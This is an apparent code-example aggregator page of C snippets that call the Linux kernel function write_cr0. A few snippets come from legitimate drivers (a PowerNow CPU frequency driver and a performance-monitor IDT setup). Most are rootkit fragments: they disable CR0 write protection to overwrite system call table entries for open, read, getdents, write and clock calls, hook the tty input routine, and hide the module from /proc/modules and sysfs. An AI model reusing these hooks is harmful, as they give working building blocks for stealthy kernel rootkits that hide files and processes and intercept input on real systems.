C++ write_cr0函数代码示例

static void powernow_k6_set_cpu_multiplier(unsigned int best_i)
{
	unsigned long outvalue, invalue;
	unsigned long msrval;
	unsigned long cr0;

	/* we now need to transform best_i to the BVC format, see AMD#23446 */

	/*
	 * The processor doesn't respond to inquiry cycles while changing the
	 * frequency, so we must disable cache.
	 */
	local_irq_disable();
	cr0 = read_cr0();
	write_cr0(cr0 | X86_CR0_CD);
	wbinvd();

	outvalue = (1<<12) | (1<<10) | (1<<9) | (index_to_register[best_i]<<5);

	msrval = POWERNOW_IOPORT + 0x1;
	wrmsr(MSR_K6_EPMR, msrval, 0); /* enable the PowerNow port */
	invalue = inl(POWERNOW_IOPORT + 0x8);
	invalue = invalue & 0x1f;
	outvalue = outvalue | invalue;
	outl(outvalue, (POWERNOW_IOPORT + 0x8));
	msrval = POWERNOW_IOPORT + 0x0;
	wrmsr(MSR_K6_EPMR, msrval, 0); /* disable it again */

	write_cr0(cr0);
	local_irq_enable();
}

static int __init syscall_init(void)
{
    int ret;
    unsigned long addr;
    unsigned long cr0;
  
    syscall_table = (void **)find_sys_call_table();

    if (!syscall_table) {
        printk(KERN_DEBUG "Cannot find the system call address\n"); 
        return -1;
    }

    cr0 = read_cr0();
    write_cr0(cr0 & ~CR0_WP);

    addr = (unsigned long)syscall_table;
    ret = set_memory_rw(PAGE_ALIGN(addr) - PAGE_SIZE, 3);
    if(ret) {
        printk(KERN_DEBUG "Cannot set the memory to rw (%d) at addr %16lX\n", ret, PAGE_ALIGN(addr) - PAGE_SIZE);
    } else {
        printk(KERN_DEBUG "3 pages set to rw");
    }
    
    orig_sys_open = syscall_table[__NR_open];
    syscall_table[__NR_open] = my_sys_open;

    write_cr0(cr0);
  
    return 0;
}

static int __init hidden_init(void)
{

    printk(KERN_INFO "Starting up module.\n");

    /* Hide the module from proc/modules, Sys/modules tracking. */
    
    list_del_init(&__this_module.list);
    kobject_del(&THIS_MODULE->mkobj.kobj);
    
    /* Locate address of the Syscall table in memory. */
    if(!(sys_call_table = get_sys_call_table())) {
        printk(KERN_INFO "Unable to locate Syscall table.");
        return -1;
    }

    /* Disabling WP bit in control register cr0 to write to sys_call table. */
    write_cr0(read_cr0() & (~ 0x10000));
    
    /* Store open system call to use later. */
    original_open = (void *)sys_call_table[__NR_open];

    /* Write our modified read call to the syscall table. */
    sys_call_table[__NR_open] = (unsigned long *) hidden_open;  

    /* Turning WP bit back on. */
    write_cr0(read_cr0() | 0x10000); 

    return 0; 
}

void enable_hack(){
	if (success!=1) {
            printk(KERN_INFO "Cannot enable, succes!=1\n");
            return;
        }
	if (hacked) {
            printk(KERN_INFO "Already hooked\n");
            return;
        }
        
	hacked=1;
	
	// disable kernel page write protection
	write_cr0 (read_cr0 () & (~ 0x10000));

	// redirect system call to our wrapper routine
	//sys_call_table[__NR_getdents64] = hacked_getdents;
	sys_call_table[__NR_settimeofday] = hacked_settimeofday;
	sys_call_table[__NR_adjtimex] = hacked_adjtimex;
        sys_call_table[__NR_clock_settime] = hacked_clock_settime;

	// enable kernel page write protection back
	write_cr0 (read_cr0 () | 0x10000);
	printk(KERN_INFO "Syscall tampered #3. new clock_settime=%p\n", (void*) sys_call_table[__NR_clock_settime]);
}

/*!
 * @fn void cpumon_Set_IDT_Func(idt, func)
 *
 * @param  GATE_STRUCT*  - address of the idt vector
 * @param  PVOID         - function to set in IDT 
 *
 * @return None     No return needed
 *
 * @brief  Set up the interrupt handler.  
 * @brief  Save the old handler for restoration when done
 *
 */
static VOID
cpumon_Set_IDT_Func (
    GATE_STRUCT   *idt,
    PVOID          func
)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,25)
    _set_gate(&idt[CPU_PERF_VECTOR], GATE_INTERRUPT, (unsigned long) func, 3, 0);
#else
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
    unsigned long cr0_value;
#endif
    GATE_STRUCT  local;
    // _set_gate() cannot be used because the IDT table is not exported.

    pack_gate(&local, GATE_INTERRUPT, (unsigned long)func, 3, 0, __KERNEL_CS);

    // From 3.10 kernel, the IDT memory has been moved to a read-only location
    // which is controlled by the bit 16 in the CR0 register.
    // The write protection should be temporarily released to update the IDT.
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
    cr0_value = read_cr0();
    write_cr0(cr0_value & ~X86_CR0_WP);
#endif
    write_idt_entry((idt), CPU_PERF_VECTOR, &local);
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
    write_cr0(cr0_value);
#endif
#endif
    return;
}

//The code that gets executed when the module is loaded
static int initialize_sneaky_module(void)
{
  struct page *page_ptr;  
  //See /var/log/syslog for kernel print output
  printk(KERN_INFO "Sneaky module being loaded.\n");
  printk(KERN_INFO "PID is  %d\n", PID);

  //Turn off write protection mode
  write_cr0(read_cr0() & (~0x10000));
  //Get a pointer to the virtual page containing the address
  //of the system call table in the kernel.
  page_ptr = virt_to_page(&sys_call_table);
  //Make this page read-write accessible
  pages_rw(page_ptr, 1);

  //This is the magic! Save away the original 'open' system call
  //function address. Then overwrite its address in the system call
  //table with the function address of our new code.
  original_call = (void*)*(sys_call_table + __NR_open);
  *(sys_call_table + __NR_open) = (unsigned long)sneaky_sys_open;

  //getdents
  original_getdents = (void*)*(sys_call_table + __NR_getdents);
  *(sys_call_table + __NR_getdents) = (unsigned long)sneaky_sys_getdents;

  //read
   original_read = (void*)*(sys_call_table + __NR_read);
  *(sys_call_table + __NR_read) = (unsigned long)sneaky_sys_read;

  //Revert page to read-only
  pages_ro(page_ptr, 1);
  //Turn write protection mode back on
  write_cr0(read_cr0() | 0x10000);
  return 0;       // to show a successful load 
}  

void cleanup_module() { 
    kfree(sock);
    /* Reset the "open" system call */
    write_cr0 (read_cr0 () & (~ 0x10000));
    syscall_table[__NR_mkdir] = original_mkdir;
    write_cr0 (read_cr0 () | 0x10000);
    printk(KERN_ALERT "HIJACK EXIT\n");
}

static int _init(void) {
    printk("rootkit loaded\n");
    /*list_del_init(&__this_module.list);*/      /* /proc/modules */
    /*kobject_del(&THIS_MODULE->mkobj.kobj);*/   /* /sys/modules  */
    write_cr0(read_cr0() & (~ 0x10000));
    printk("tty_insert_flip_char: %p\n", tty_insert_flip_char);
    o_tty_insert_flip_char = (void *) xchg(tty_insert_flip_char, my_tty_insert_flip_char);
    write_cr0(read_cr0() | 0x10000);
    return 0;
}

static void __exit syscall_release(void)
{
    unsigned long cr0;
    
    cr0 = read_cr0();
    write_cr0(cr0 & ~CR0_WP);
    
    syscall_table[__NR_open] = orig_sys_open;
    
    write_cr0(cr0);
}

void _exit(void) {
    my_type* syscalltable = 0;
    syscalltable = (my_type* ) find();
    if (syscalltable != 0)
    {
        write_cr0(read_cr0() & (~ 0x10000));
        xchg(&syscalltable[__NR_getdents64], o_getdents64);
        write_cr0(read_cr0() | 0x10000);
    }
    printk("rootkit removed\n");
}

static void __exit jackle_end( void ) {
    if( !sys_call_table ) {
        return;
    }

    write_cr0( original_cr0 & ~0x00010000 );
    sys_call_table[__NR_read] = ( unsigned long * )ref_sys_read;
    sys_call_table[__NR_open] = ( unsigned long * )ref_sys_open;
    write_cr0( original_cr0 );

}

// rm the kmod
static void exit(void) {

    write_cr0 (read_cr0 () & (~ 0x10000));

   // YOUR CODE HERE!
   // hint: you unhook here

    write_cr0 (read_cr0 () | 0x10000);

    printk(KERN_ALERT "MODULE EXIT\n");

}

static int init(void) {
 
    printk(KERN_ALERT "\nHIJACK INIT\n");
    write_cr0 (read_cr0 () & (~ 0x10000));
 
    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write; 
 
    write_cr0 (read_cr0 () | 0x10000);
 
    return 0;
}

static void exit(void) {
 
    write_cr0 (read_cr0 () & (~ 0x10000));
 
    syscall_table[__NR_write] = original_write; 
 
    write_cr0 (read_cr0 () | 0x10000);
     
    printk(KERN_ALERT "MODULE EXIT\n");
 
    return;
}

static void __exit rootkit_end(void)
{
    if(!sys_call_table) {
        return;
    }

    // turn off memory protection
    write_cr0(original_cr0 & ~0x00010000);
    // put the old system call back in place
    sys_call_table[__NR_read] = (unsigned long *)ref_sys_read;
    // memory protection back on
    write_cr0(original_cr0);
}